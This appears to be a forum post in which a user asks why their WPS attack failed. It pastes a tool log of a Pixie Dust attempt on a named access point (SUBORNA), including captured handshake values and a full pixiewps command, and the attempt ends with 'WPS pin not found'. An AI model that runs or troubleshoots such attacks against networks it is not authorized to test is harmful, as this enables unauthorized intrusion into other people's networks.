Why this happened and how i can solve this?

[HaxerAhmed]

[] Running wpa_supplicant… [] Trying PIN '12345670'… [] Scanning… [] Associating with AP… [+] Associated with BC:E0:01:89:D7:39 (ESSID: SUBORNA) [] Sending EAPOL Start… [] Received Identity Request [] Sending Identity Response… [] Received WPS Message M1 [P] E-Nonce: 69F1BB03C39984FAD3364037F661242E [] Sending WPS Message M2… [P] PKR: 71A25F4ECF5B15EBB381B44E9D1D4D72BBF2D516B66D7ABD928ED297DDD11C26DAD499BEE5B99982018E56A89B8888B56161B34A77CF038BD37C6DFC342E76212FE5D9AB2F84480CDA0265F109B0FBBF504062B73D3398CE2D9FACB68B177DDB9428E62FE239EBB3A9440B08337565056482E85F99C8B541486EB41F29A3A8A9E0EAF345FDFE3F8B0B8846A8131CBFEAF35A9AE6E2F1F724A5DFCA1F8A4F6300172C0C0489FDE4BC17CB9CAC9B6559C965F2A62EFC90C9DB86A11D133C26F4F5 [P] PKE: D0141B15656E96B85FCEAD2E8E76330D2B1AC1576BB026E7A328C0E1BAF8CF91664371174C08EE12EC92B0519C54879F21255BE5A8770E1FA1880470EF423C90E34D7847A6FCB4924563D1AF1DB0C481EAD9852C519BF1DD429C163951CF69181B132AEA2A3684CAF35BC54ACA1B20C88BB3B7339FF7D56E09139D77F0AC58079097938251DBBE75E86715CC6B7C0CA945FA8DD8D661BEB73B414032798DADEE32B5DD61BF105F18D89217760B75C5D966A5A490472CEBA9E3B4224F3D89FB2B [P] AuthKey: 18A93FCBC205A78E8DD598C5D1B26B82E29CC939745A5F1158ADA7264C93332E [] Received WPS Message M3 [P] E-Hash1: D3A9A677310460170187DDD055D2DA33B1B795C586C60BAE3C05C36D32CCC5DC [P] E-Hash2: 577A6000073938C547649D7D50D9A101A5FDF560CFD72E07E98AC5DEA04C0A12 [] Sending WPS Message M4… [] Received WSC NACK [-] Error: wrong PIN code [*] Running Pixiewps… pixiewps --pke D0141B15656E96B85FCEAD2E8E76330D2B1AC1576BB026E7A328C0E1BAF8CF91664371174C08EE12EC92B0519C54879F21255BE5A8770E1FA1880470EF423C90E34D7847A6FCB4924563D1AF1DB0C481EAD9852C519BF1DD429C163951CF69181B132AEA2A3684CAF35BC54ACA1B20C88BB3B7339FF7D56E09139D77F0AC58079097938251DBBE75E86715CC6B7C0CA945FA8DD8D661BEB73B414032798DADEE32B5DD61BF105F18D89217760B75C5D966A5A490472CEBA9E3B4224F3D89FB2B --pkr 71A25F4ECF5B15EBB381B44E9D1D4D72BBF2D516B66D7ABD928ED297DDD11C26DAD499BEE5B99982018E56A89B8888B56161B34A77CF038BD37C6DFC342E76212FE5D9AB2F84480CDA0265F109B0FBBF504062B73D3398CE2D9FACB68B177DDB9428E62FE239EBB3A9440B08337565056482E85F99C8B541486EB41F29A3A8A9E0EAF345FDFE3F8B0B8846A8131CBFEAF35A9AE6E2F1F724A5DFCA1F8A4F6300172C0C0489FDE4BC17CB9CAC9B6559C965F2A62EFC90C9DB86A11D133C26F4F5 --e-hash1 D3A9A677310460170187DDD055D2DA33B1B795C586C60BAE3C05C36D32CCC5DC --e-hash2 577A6000073938C547649D7D50D9A101A5FDF560CFD72E07E98AC5DEA04C0A12 --authkey 18A93FCBC205A78E8DD598C5D1B26B82E29CC939745A5F1158ADA7264C93332E --e-nonce 69F1BB03C39984FAD3364037F661242E

Pixiewps 1.4

[-] WPS pin not found!

[*] Time taken: 0 s 70 ms